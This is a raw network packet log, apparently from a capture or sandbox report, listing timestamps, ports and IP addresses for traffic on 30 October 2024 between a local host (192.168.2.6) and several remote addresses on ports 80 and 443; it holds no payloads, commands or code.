Oct 30, 2024 15:59:35.964756966 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.964767933 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.987071037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987090111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987108946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987152100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.987189054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.987193108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987277985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987296104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987319946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987334013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.987339020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987363100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.987389088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.987946987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987972975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.987988949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.988030910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.988090992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.988109112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.988718987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.988759041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.988770962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.988775969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.988980055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.989023924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.989290953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.989305019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.989340067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.019298077 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.019326925 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.019392967 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.019417048 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.019478083 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.019532919 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.025469065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.025542974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.025572062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.025578976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.025588036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.025614023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.028553009 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.028665066 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.031141996 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.031193972 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.031260014 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.031269073 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.031362057 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.031621933 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.043472052 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.043488979 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.043945074 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.043981075 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.044085026 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.044665098 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.044682026 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.051342964 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.051373005 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.051443100 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.051460028 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.051474094 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.051728010 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.053788900 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.053797007 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.061849117 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.061865091 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.061976910 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.062047958 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.062058926 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.062159061 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.062469959 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.065483093 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.065491915 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.065563917 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.065582037 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.071104050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.071125031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.071141005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.071172953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.071193933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.092524052 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.096339941 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.096369028 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.097059011 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.097068071 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.102498055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102526903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102543116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102566004 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.102616072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.102755070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102770090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102793932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102797031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.102837086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.102873087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102889061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102906942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.102929115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.102946043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.103389025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.103404045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.103434086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.103450060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.103527069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.103563070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.103590012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.103605986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.103621960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.103641987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.103663921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.103980064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.104085922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.104137897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.104147911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.104188919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.104204893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.104219913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.104227066 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.104259014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.141050100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.141071081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.141078949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.141129017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.141165018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.141171932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.141174078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.141303062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.152471066 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.152512074 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.152781010 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.165410042 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.165426970 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.186463118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.186496973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.186508894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.186557055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.218041897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218056917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218067884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218158960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.218317032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218370914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218375921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218414068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218420029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218434095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.218449116 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.218472958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.218641043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.219221115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219228029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219240904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219286919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.219321966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219330072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219397068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219403982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219409943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219451904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.219765902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219773054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.219933987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.221895933 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.221978903 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.224494934 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.224750996 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.224766970 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.224781990 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.224790096 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.227544069 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.227580070 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.227670908 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.227824926 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.227838039 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.266153097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.266202927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.266242981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.266249895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.266262054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.266279936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.266282082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.266297102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.266324043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.302045107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.302067041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.302102089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.302197933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.302197933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.333719969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.333731890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.333738089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.333794117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.334005117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334052086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.334053993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334062099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334144115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.334163904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334171057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334218025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.334398031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334404945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334415913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.334446907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.335007906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335014105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335026979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335033894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335114956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.335114956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.335148096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335186958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335195065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335203886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.335212946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.335230112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.381661892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381695032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381700039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381773949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381781101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381788969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.381792068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381802082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.381834030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.381922007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.382158041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.385591984 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.385901928 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.385982037 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.386051893 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.387718916 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.387733936 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.394150972 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.397121906 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.397135019 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.397608042 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.397613049 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.408431053 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.408514977 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.410377026 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.410387039 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.410721064 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.411674023 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.417444944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.417480946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.417491913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.417561054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.449353933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449372053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449383020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449440002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.449626923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449677944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.449707985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449714899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449753046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.449765921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.449821949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.450020075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450025082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450050116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450062990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450063944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.450068951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450089931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.450114965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.450515985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450572014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.450596094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450603008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450686932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.450720072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450726032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450733900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.450766087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.459337950 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.497697115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.497703075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.497714043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.497769117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.497847080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.497854948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.497867107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.497895002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.497915030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.498141050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.498147011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.498157024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.498195887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.498475075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.498481035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.498492002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.498531103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.526355982 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.526428938 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.527091026 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.527528048 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.527545929 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.527575970 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.527581930 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.530534029 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.530575991 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.530647993 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.530787945 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.530800104 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.533376932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.533476114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.533538103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.533544064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.533550024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.533576965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.566376925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566384077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566389084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566433907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.566736937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566744089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566750050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566793919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.566919088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566925049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566930056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566936016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.566966057 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.566982985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.567092896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.567133904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.567249060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.567255020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.567260981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.567286968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.567317009 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.567406893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.567414045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.567461014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.584577084 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.584929943 CET	49753	443	192.168.2.6	13.107.246.45
